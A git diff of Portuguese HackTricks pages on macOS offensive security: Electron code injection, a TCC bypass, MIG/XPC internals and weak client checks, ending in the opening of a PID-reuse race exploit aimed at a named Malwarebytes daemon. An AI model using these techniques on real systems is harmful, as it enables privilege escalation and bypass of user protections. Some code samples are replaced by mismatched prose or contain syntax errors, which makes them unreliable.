Observe que se você tentar **sobrescrever** o **binário do Electron Framework** dentro de um aplicativo com esses bytes modificados, o aplicativo não será executado.
|
||||
|
||||
|
@ -79,7 +79,7 @@ Observe que é possível contornar o requisito de **`kTCCServiceSystemPolicyAppB
|
|||
|
||||
## RCE com `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
|
||||
De acordo com [**a documentação**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), se essa variável de ambiente for definida, ela iniciará o processo como um processo Node.js normal.
|
||||
De acordo com [**a documentação**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), se essa variável de ambiente estiver definida, ela iniciará o processo como um processo Node.js normal.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -194,7 +194,7 @@ Você pode abusar dessa variável de ambiente em um plist para manter a persist
|
|||
## Bypassando o TCC abusando de versões antigas
|
||||
|
||||
{% hint style="success" %}
|
||||
O daemon TCC do macOS não verifica a versão executada do aplicativo. Portanto, se você **não consegue injetar código em um aplicativo Electron** com nenhuma das técnicas anteriores, você pode baixar uma versão anterior do aplicativo e injetar código nele, pois ele ainda obterá as permissões do TCC.
|
||||
O daemon TCC do macOS não verifica a versão executada do aplicativo. Portanto, se você **não consegue injetar código em um aplicativo Electron** com nenhuma das técnicas anteriores, você pode baixar uma versão anterior do aplicativo e injetar código nele, pois ele ainda obterá os privilégios do TCC.
|
||||
{% endhint %}
|
||||
|
||||
## Injeção Automática
|
||||
|
@ -247,10 +247,10 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -187,57 +187,41 @@ return 1;
|
|||
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
|
||||
}
|
||||
```
|
||||
{% tab title="myipc_client.c" %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/message.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "myipc.h"
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
mach_port_t server_port;
|
||||
kern_return_t kr;
|
||||
myipc_msg_t msg;
|
||||
char *message = "Hello, server!";
|
||||
char reply[256];
|
||||
|
||||
// Look up the server port
|
||||
kr = bootstrap_look_up(bootstrap_port, "com.example.myipc_server", &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to look up server port: %s\n", mach_error_string(kr));
|
||||
fprintf(stderr, "Failed to look up server port: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Prepare the message
|
||||
msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
msg.header.msgh_size = sizeof(msg);
|
||||
msg.header.msgh_remote_port = server_port;
|
||||
msg.header.msgh_local_port = MACH_PORT_NULL;
|
||||
msg.header.msgh_id = 0;
|
||||
msg.data = 42;
|
||||
|
||||
// Send the message
|
||||
kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
// Send a message to the server
|
||||
kr = myipc_send_message(server_port, message, reply, sizeof(reply));
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to send message: %s\n", mach_error_string(kr));
|
||||
fprintf(stderr, "Failed to send message: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Receive the reply
|
||||
kr = mach_msg(&msg.header, MACH_RCV_MSG, 0, sizeof(msg), server_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to receive reply: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Print the reply
|
||||
printf("Received reply: %d\n", msg.data);
|
||||
printf("Received reply: %s\n", reply);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_server.c" %}
|
||||
{% endtab %}
|
||||
```c
|
||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||
|
||||
|
@ -393,10 +377,10 @@ return r0;
|
|||
|
||||
Na verdade, se você for para a função **`0x100004000`**, encontrará o array de structs **`routine_descriptor`**, o primeiro elemento da struct é o endereço onde a função é implementada e a **struct ocupa 0x28 bytes**, então a cada 0x28 bytes (começando do byte 0) você pode obter 8 bytes e esse será o **endereço da função** que será chamada:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Esses dados podem ser extraídos [**usando este script do Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
||||
|
||||
<details>
|
||||
|
|
|
@ -72,18 +72,18 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Os presentes em **`LaunchDameons`** são executados pelo root. Portanto, se um processo não privilegiado puder se comunicar com um deles, poderá ser capaz de elevar os privilégios.
|
||||
Os presentes em **`LaunchDameons`** são executados pelo root. Portanto, se um processo não privilegiado puder se comunicar com um deles, poderá conseguir elevar os privilégios.
|
||||
|
||||
## Mensagens de Evento XPC
|
||||
|
||||
As aplicações podem **se inscrever** em diferentes **mensagens de evento**, permitindo que sejam **iniciadas sob demanda** quando esses eventos ocorrerem. A **configuração** desses serviços é feita em arquivos **plist do launchd**, localizados nos **mesmos diretórios dos anteriores** e contendo uma chave extra **`LaunchEvent`**.
|
||||
As aplicações podem **se inscrever** em diferentes mensagens de evento, permitindo que sejam **iniciadas sob demanda** quando esses eventos ocorrerem. A **configuração** desses serviços é feita em arquivos **plist do launchd**, localizados nos **mesmos diretórios dos anteriores** e contendo uma chave extra **`LaunchEvent`**.
|
||||
|
||||
### Verificação do Processo Conectado XPC
|
||||
### Verificação do Processo de Conexão XPC
|
||||
|
||||
Quando um processo tenta chamar um método por meio de uma conexão XPC, o **serviço XPC deve verificar se esse processo tem permissão para se conectar**. Aqui estão as maneiras comuns de verificar isso e as armadilhas comuns:
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check.md" %}
|
||||
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
|
||||
{% content-ref url="macos-xpc-connecting-process-check/" %}
|
||||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Autorização XPC
|
||||
|
@ -107,7 +107,7 @@ xpcspy -U -r -W <bundle-id>
|
|||
## Using filters (i: for input, o: for output)
|
||||
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
|
||||
```
|
||||
## Exemplo de Código em C
|
||||
## Exemplo de Código C
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="xpc_server.c" %}
|
||||
|
@ -166,34 +166,17 @@ return 0;
|
|||
```
|
||||
{% tab title="xpc_client.c" %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <xpc/xpc.h>
|
||||
O arquivo `xpc_client.c` é um exemplo de código em C que demonstra como criar um cliente XPC em macOS. O XPC (Inter-Process Communication) é um mecanismo de comunicação entre processos no macOS que permite que os processos se comuniquem e compartilhem dados de forma segura.
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.securityd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
|
||||
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
|
||||
xpc_type_t type = xpc_get_type(event);
|
||||
|
||||
if (type == XPC_TYPE_DICTIONARY) {
|
||||
const char *description = xpc_dictionary_get_string(event, "description");
|
||||
printf("Received event: %s\n", description);
|
||||
}
|
||||
});
|
||||
|
||||
xpc_connection_resume(connection);
|
||||
|
||||
dispatch_main();
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
O código começa incluindo os cabeçalhos necessários e definindo algumas constantes. Em seguida, a função `main` é definida. Dentro da função `main`, o cliente XPC é criado usando a função `xpc_connection_create`. Em seguida, o cliente é configurado para lidar com eventos usando a função `xpc_connection_set_event_handler`. A função `xpc_connection_resume` é chamada para iniciar a comunicação com o serviço XPC.
|
||||
|
||||
A função `event_handler` é definida para lidar com os eventos recebidos do serviço XPC. Neste exemplo, a função apenas imprime uma mensagem quando um evento é recebido.
|
||||
|
||||
Finalmente, a função `main` entra em um loop infinito usando a função `dispatch_main` para manter o cliente XPC em execução.
|
||||
|
||||
Este exemplo de código pode ser usado como ponto de partida para criar um cliente XPC personalizado em macOS.
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="xpc_server.c" %}
|
||||
```c
|
||||
// gcc xpc_client.c -o xpc_client
|
||||
|
||||
|
@ -341,12 +324,6 @@ return 0;
|
|||
}
|
||||
```
|
||||
{% tab title="xyz.hacktricks.svcoc.plist" %}
|
||||
|
||||
O arquivo `xyz.hacktricks.svcoc.plist` é um arquivo de propriedades do Launchd usado para definir e controlar serviços no macOS. O Launchd é o sistema de inicialização e gerenciamento de processos do macOS. O arquivo plist contém informações sobre o serviço, como o caminho do executável, argumentos, variáveis de ambiente e outras configurações.
|
||||
|
||||
Para explorar vulnerabilidades de escalonamento de privilégios usando o arquivo `xyz.hacktricks.svcoc.plist`, você pode procurar por configurações inadequadas que permitam a execução de comandos privilegiados ou a substituição do executável por um binário malicioso. Além disso, você pode verificar se há permissões excessivas definidas para o arquivo plist, o que pode permitir a modificação não autorizada.
|
||||
|
||||
É importante ressaltar que a exploração de vulnerabilidades de escalonamento de privilégios é ilegal e deve ser realizada apenas em um ambiente controlado e com permissão adequada.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
|
@ -407,7 +384,7 @@ int main(int argc, const char * argv[]) {
|
|||
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
|
||||
xpc_dictionary_set_string(message, "key", "value");
|
||||
|
||||
xpc_connection_send_message_with_reply(connection, message, dispatch_get_main_queue(), ^(xpc_object_t response) {
|
||||
xpc_connection_send_message_with_reply(connection, message, dispatch_get_main_queue(), ^(xpc_object_t reply) {
|
||||
// Manipule a resposta recebida do serviço XPC aqui
|
||||
});
|
||||
|
||||
|
|
|
@ -39,8 +39,8 @@ return YES;
|
|||
```
|
||||
Para obter mais informações sobre como configurar corretamente esta verificação:
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check.md" %}
|
||||
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
|
||||
{% content-ref url="macos-xpc-connecting-process-check/" %}
|
||||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Direitos de aplicação
|
||||
|
@ -262,7 +262,7 @@ Você pode encontrar **todas as configurações de permissões** [**aqui**](http
|
|||
* Esta é a chave mais direta. Se definida como `false`, especifica que um usuário não precisa fornecer autenticação para obter esse direito.
|
||||
* Isso é usado em **combinação com uma das 2 opções abaixo ou indicando um grupo** ao qual o usuário deve pertencer.
|
||||
2. **'allow-root': 'true'**
|
||||
* Se um usuário estiver operando como usuário root (que possui permissões elevadas) e essa chave estiver definida como `true`, o usuário root poderá potencialmente obter esse direito sem autenticação adicional. No entanto, normalmente, alcançar o status de usuário root já requer autenticação, portanto, isso não é um cenário de "sem autenticação" para a maioria dos usuários.
|
||||
* Se um usuário estiver operando como usuário root (que possui permissões elevadas) e essa chave estiver definida como `true`, o usuário root poderá potencialmente obter esse direito sem autenticação adicional. No entanto, normalmente, alcançar o status de usuário root já requer autenticação, portanto, essa não é uma situação de "sem autenticação" para a maioria dos usuários.
|
||||
3. **'session-owner': 'true'**
|
||||
* Se definido como `true`, o proprietário da sessão (o usuário atualmente conectado) receberá automaticamente esse direito. Isso pode ignorar autenticação adicional se o usuário já estiver conectado.
|
||||
4. **'shared': 'true'**
|
||||
|
@ -286,7 +286,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
Se você encontrar a função: **`[HelperTool checkAuthorization:command:]`**, provavelmente o processo está usando o esquema mencionado anteriormente para autorização:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Assim, se essa função estiver chamando funções como `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, está usando o [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||||
|
||||
|
@ -342,7 +342,7 @@ Neste exemplo é criado:
|
|||
* A definição do protocolo com as funções
|
||||
* Uma autenticação vazia para ser usada para solicitar acesso
|
||||
* Uma conexão com o serviço XPC
|
||||
* Uma chamada à função se a conexão for bem-sucedida
|
||||
* Uma chamada à função se a conexão foi bem-sucedida
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Security expl.m -o expl
|
||||
|
||||
|
|
|
@ -0,0 +1,118 @@
|
|||
# Verificação de Conexão de Processo XPC no macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Verificação de Conexão de Processo XPC
|
||||
|
||||
Quando uma conexão é estabelecida com um serviço XPC, o servidor verificará se a conexão é permitida. Estas são as verificações que normalmente são realizadas:
|
||||
|
||||
1. Verificar se o **processo de conexão está assinado com um certificado assinado pela Apple** (apenas fornecido pela Apple).
|
||||
* Se isso **não for verificado**, um atacante pode criar um **certificado falso** para corresponder a qualquer outra verificação.
|
||||
2. Verificar se o processo de conexão está assinado com o **certificado da organização** (verificação do ID da equipe).
|
||||
* Se isso **não for verificado**, qualquer certificado de desenvolvedor da Apple pode ser usado para assinar e se conectar ao serviço.
|
||||
3. Verificar se o processo de conexão **contém um ID de pacote adequado**.
|
||||
* Se isso **não for verificado**, qualquer ferramenta **assinada pela mesma organização** pode ser usada para interagir com o serviço XPC.
|
||||
4. (4 ou 5) Verificar se o processo de conexão possui um **número de versão de software adequado**.
|
||||
* Se isso **não for verificado**, clientes antigos e inseguros, vulneráveis à injeção de processo, podem ser usados para se conectar ao serviço XPC, mesmo com as outras verificações em vigor.
|
||||
5. (4 ou 5) Verificar se o processo de conexão possui um tempo de execução protegido sem privilégios perigosos (como aqueles que permitem carregar bibliotecas arbitrárias ou usar variáveis de ambiente DYLD).
|
||||
1. Se isso **não for verificado**, o cliente pode estar **vulnerável à injeção de código**.
|
||||
6. Verificar se o processo de conexão possui uma **autorização** que permite a conexão com o serviço. Isso é aplicável para binários da Apple.
|
||||
7. A **verificação** deve ser **baseada** no **token de auditoria do cliente** de conexão, **em vez** de seu ID de processo (**PID**), pois o primeiro impede **ataques de reutilização de PID**.
|
||||
* Os desenvolvedores **raramente usam** a chamada de API do token de auditoria, pois ela é **privada**, então a Apple pode **alterá-la** a qualquer momento. Além disso, o uso de API privada não é permitido em aplicativos da Mac App Store.
|
||||
* Deve-se usar **`xpc_dictionary_get_audit_token`** em vez de **`xpc_connection_get_audit_token`**, pois este último também pode ser [vulnerável em certas situações](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||
|
||||
### Ataques de Comunicação
|
||||
|
||||
Para obter mais informações sobre o ataque de reutilização de PID, verifique:
|
||||
|
||||
{% content-ref url="macos-pid-reuse.md" %}
|
||||
[macos-pid-reuse.md](macos-pid-reuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Para obter mais informações sobre o ataque **`xpc_connection_get_audit_token`**, verifique:
|
||||
|
||||
{% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %}
|
||||
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Prevenção de Ataques de Downgrade - Trustcache
|
||||
|
||||
Trustcache é um método defensivo introduzido em máquinas Apple Silicon que armazena um banco de dados de CDHSAH de binários da Apple, permitindo apenas a execução de binários não modificados. Isso impede a execução de versões degradadas.
|
||||
|
||||
### Exemplos de Código
|
||||
|
||||
O servidor implementará essa **verificação** em uma função chamada **`shouldAcceptNewConnection`**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
|
||||
//Check connection
|
||||
return YES;
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
O objeto NSXPCConnection possui uma propriedade **privada** chamada **`auditToken`** (a que deve ser usada, mas pode mudar) e uma propriedade **pública** chamada **`processIdentifier`** (a que não deve ser usada).
|
||||
|
||||
O processo de conexão pode ser verificado da seguinte forma:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
[...]
|
||||
SecRequirementRef requirementRef = NULL;
|
||||
NSString requirementString = @"anchor apple generic and identifier \"xyz.hacktricks.service\" and certificate leaf [subject.CN] = \"TEAMID\" and info [CFBundleShortVersionString] >= \"1.0\"";
|
||||
/* Check:
|
||||
- Signed by a cert signed by Apple
|
||||
- Check the bundle ID
|
||||
- Check the TEAMID of the signing cert
|
||||
- Check the version used
|
||||
*/
|
||||
|
||||
// Check the requirements with the PID (vulnerable)
|
||||
SecRequirementCreateWithString(requirementString, kSecCSDefaultFlags, &requirementRef);
|
||||
SecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef);
|
||||
|
||||
// Check the requirements wuing the auditToken (secure)
|
||||
SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken);
|
||||
SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString))
|
||||
```
|
||||
Se um desenvolvedor não quiser verificar a versão do cliente, ele pode pelo menos verificar se o cliente não é vulnerável à injeção de processo:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
[...]
|
||||
CFDictionaryRef csInfo = NULL;
|
||||
SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo);
|
||||
uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
|
||||
const uint32_t cs_hard = 0x100; // don't load invalid page.
|
||||
const uint32_t cs_kill = 0x200; // Kill process if page is invalid
|
||||
const uint32_t cs_restrict = 0x800; // Prevent debugging
|
||||
const uint32_t cs_require_lv = 0x2000; // Library Validation
|
||||
const uint32_t cs_runtime = 0x10000; // hardened runtime
|
||||
if ((csFlags & (cs_hard | cs_require_lv)) {
|
||||
return Yes; // Accept connection
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,302 @@
|
|||
# Reutilização de PID no macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Reutilização de PID
|
||||
|
||||
Quando um serviço **XPC** do macOS verifica o processo chamado com base no **PID** e não no **token de auditoria**, ele está vulnerável a um ataque de reutilização de PID. Esse ataque é baseado em uma **condição de corrida**, onde um **exploit** vai **enviar mensagens para o XPC** abusando da funcionalidade e, **logo após**, executar **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** com o binário **permitido**.
|
||||
|
||||
Essa função fará com que o **binário permitido possua o PID**, mas a **mensagem XPC maliciosa terá sido enviada** logo antes. Portanto, se o serviço **XPC** usar o **PID** para **autenticar** o remetente e verificar isso **APÓS** a execução do **`posix_spawn`**, ele pensará que vem de um processo **autorizado**.
|
||||
|
||||
### Exemplo de exploit
|
||||
|
||||
Se você encontrar a função **`shouldAcceptNewConnection`** ou uma função chamada por ela que **chame** **`processIdentifier`** e não chame **`auditToken`**, é altamente provável que esteja verificando o PID do processo e não o token de auditoria.\
|
||||
Como por exemplo nesta imagem (retirada da referência):
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Verifique este exemplo de exploit (novamente, retirado da referência) para ver as 2 partes do exploit:
|
||||
|
||||
* Uma que **gera vários forks**
|
||||
* **Cada fork** irá **enviar** a **carga útil** para o serviço XPC enquanto executa **`posix_spawn`** logo após o envio da mensagem.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Para que o exploit funcione, é importante exportar **`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** ou colocar no exploit:
|
||||
```objectivec
|
||||
asm(".section __DATA,__objc_fork_ok\n"
|
||||
"empty:\n"
|
||||
".no_dead_strip empty\n");
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="NSTasks" %}
|
||||
Primeira opção usando **`NSTasks`** e argumento para lançar os processos filhos para explorar o RC
|
||||
```objectivec
|
||||
// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
|
||||
// gcc -framework Foundation expl.m -o expl
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#include <spawn.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#define RACE_COUNT 32
|
||||
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
|
||||
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"
|
||||
|
||||
// allow fork() between exec()
|
||||
asm(".section __DATA,__objc_fork_ok\n"
|
||||
"empty:\n"
|
||||
".no_dead_strip empty\n");
|
||||
|
||||
extern char **environ;
|
||||
|
||||
// defining necessary protocols
|
||||
@protocol ProtectionService
|
||||
- (void)startDatabaseUpdate;
|
||||
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
|
||||
- (void)uninstallProduct;
|
||||
- (void)installProductUpdate;
|
||||
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
|
||||
